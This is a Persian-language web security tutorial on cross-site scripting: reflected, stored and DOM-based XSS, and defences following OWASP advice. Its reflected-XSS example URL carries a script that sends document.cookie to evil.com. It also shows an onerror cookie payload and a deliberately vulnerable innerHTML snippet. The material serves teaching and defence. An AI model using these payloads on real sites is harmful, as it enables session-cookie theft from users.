حملات Cross-Site Scripting یا XSS یکی از قدیمی‌ترین و در عین حال همچنان رایج‌ترین آسیب‌پذیری‌های امنیتی در اپلیکیشن‌های وب هستند. در این آموزش با انواع حملات XSS، روش‌های شناسایی آن‌ها در کد، و مهم‌تر از همه، تکنیک‌های عملی جلوگیری از این حملات طبق آخرین توصیه‌های OWASP آشنا می‌شویم.

پیش‌نیازها

XSS چیست و چرا خطرناک است؟

در حمله XSS، مهاجم کد جاوااسکریپت مخرب را طوری در صفحه‌ای که کاربر دیگر (قربانی) بازدید می‌کند تزریق می‌کند که مرورگر آن کد را جزئی از صفحه اصلی در نظر بگیرد و اجرا کند. چون کد در همان دامنه سایت معتبر اجرا می‌شود، مهاجم می‌تواند کوکی‌های session را بدزدد، درخواست‌هایی به‌جای کاربر ارسال کند، فرم‌های جعلی نمایش دهد یا کاربر را به سایت‌های فیشینگ هدایت کند.

انواع حملات XSS

۱. Reflected XSS

در این نوع، ورودی مخرب مستقیماً از طریق URL یا فرم ارسال می‌شود و سرور بدون پاک‌سازی آن را در پاسخ برمی‌گرداند. مثال یک آدرس آسیب‌پذیر:

https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

اگر سرور مقدار q را بدون escape کردن در HTML خروجی چاپ کند، کد بالا اجرا می‌شود.

۲. Stored XSS

در این حالت، کد مخرب در دیتابیس سایت (مثلاً در یک کامنت، پروفایل کاربر یا پیام چت) ذخیره می‌شود و هر بار که کاربر دیگری آن صفحه را باز می‌کند، کد اجرا می‌شود. این نوع معمولاً خطرناک‌تر است چون قربانیان بیشتری را درگیر می‌کند و منبع حمله (payload ذخیره‌شده در دیتابیس) به‌راحتی قابل ردیابی نیست.

۳. DOM-based XSS

در این نوع، مشکل اصلاً به سمت سرور مربوط نمی‌شود؛ کد جاوااسکریپت سمت کلاینت است که با استفاده نادرست از APIهایی مثل innerHTML، document.write یا eval روی داده‌های کنترل‌نشده کاربر، باعث اجرای کد مخرب در مرورگر می‌شود. مثال یک کد آسیب‌پذیر:

javascript
const params = new URLSearchParams(window.location.search);
document.getElementById('welcome').innerHTML = 'خوش آمدید ' + params.get('name');

اگر کاربر مقدار name را برابر با <img src=x onerror=alert(document.cookie)> قرار دهد، این کد بدون هیچ درخواستی به سرور، در همان مرورگر اجرا می‌شود.

چطور آسیب‌پذیری XSS را در کد شناسایی کنیم؟

روش‌های جلوگیری از XSS

۱. Output Encoding بر اساس context

مهم‌ترین اصل در دفاع در برابر XSS این است که هر داده‌ای که از کاربر می‌آید را بر اساس محلی که قرار است نمایش داده شود (HTML، ویژگی HTML، جاوااسکریپت یا URL) به‌درستی encode کنید. مثلاً کاراکترهای <، >، & و ' باید قبل از قرارگرفتن در HTML، به معادل‌های امن خود تبدیل شوند.

۲. اجتناب از APIهای پرخطر

به‌جای innerHTML از textContent استفاده کنید، مگر اینکه واقعاً نیاز به رندر HTML دارید. در آن صورت هم از یک کتابخانه sanitize مثل DOMPurify برای پاک‌سازی HTML قبل از قرار دادن آن در صفحه استفاده کنید:

javascript
import DOMPurify from 'dompurify';

const cleanHTML = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = cleanHTML;

۳. استفاده از فریم‌ورک‌هایی با escape خودکار

فریم‌ورک‌های مدرن مثل React و Vue به‌طور پیش‌فرض داده‌ها را قبل از رندر escape می‌کنند. با این حال، استفاده از APIهایی مثل dangerouslySetInnerHTML در React یا v-html در Vue این محافظت را دور می‌زند و باید با احتیاط زیاد و فقط همراه با sanitize استفاده شود.

۴. تنظیم Content Security Policy (CSP)

CSP یک هدر HTTP است که به مرورگر می‌گوید فقط از چه منابعی اجازه اجرای اسکریپت دارد. حتی اگر مهاجم موفق به تزریق کد شود، CSP می‌تواند مانع اجرای آن شود. یک نمونه هدر ساده:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

نکته مهم: CSP باید به‌عنوان یک لایه دفاعی اضافه در نظر گرفته شود، نه جایگزین اصلی encode و sanitize کردن ورودی‌ها.

۵. فعال‌سازی Trusted Types

در مرورگرهای مبتنی بر Chromium می‌توانید با افزودن دایرکتیو زیر به CSP، استفاده از APIهای پرخطر DOM مثل innerHTML را بدون عبور از یک policy امن، به‌طور کامل مسدود کنید:

Content-Security-Policy: require-trusted-types-for 'script'

۶. تنظیمات امن کوکی

برای کاهش تأثیر یک حمله XSS موفق روی session کاربر، کوکی‌های حساس (مثل session token) را با ویژگی‌های HttpOnly و Secure تنظیم کنید تا از طریق جاوااسکریپت سمت کلاینت قابل خواندن نباشند.

سوالات متداول

آیا CSP به‌تنهایی برای جلوگیری از XSS کافی است؟ خیر. طبق توصیه OWASP، CSP باید در کنار output encoding و sanitize کردن ورودی‌ها استفاده شود، نه به‌جای آن‌ها؛ پیاده‌سازی نادرست CSP می‌تواند به‌راحتی دور زده شود.

بهترین ابزار برای اسکن خودکار XSS چیست؟ Burp Suite و OWASP ZAP دو ابزار شناخته‌شده برای تست نفوذ و شناسایی خودکار XSS در اپلیکیشن‌های وب هستند.

آیا فریم‌ورک‌هایی مثل React به‌طور کامل در برابر XSS ایمن هستند؟ نه به‌طور کامل. React و Vue به‌صورت پیش‌فرض داده‌ها را escape می‌کنند، اما استفاده از APIهایی مثل dangerouslySetInnerHTML یا v-html همچنان می‌تواند اپلیکیشن را در برابر XSS آسیب‌پذیر کند.

جمع‌بندی

جلوگیری از XSS نیازمند ترکیبی از چند لایه دفاعی است: encode کردن درست خروجی بر اساس context، اجتناب از APIهای پرخطر، استفاده از کتابخانه‌های sanitize مثل DOMPurify، و افزودن لایه‌های دفاعی اضافه مثل CSP و Trusted Types. هیچ‌کدام از این روش‌ها به‌تنهایی کافی نیستند؛ امنیت واقعی زمانی به‌دست می‌آید که این تکنیک‌ها در کنار هم و به‌صورت مستمر در فرآیند توسعه رعایت شوند.


منابع: OWASP XSS Prevention Cheat Sheet، OWASP Content Security Policy Cheat Sheet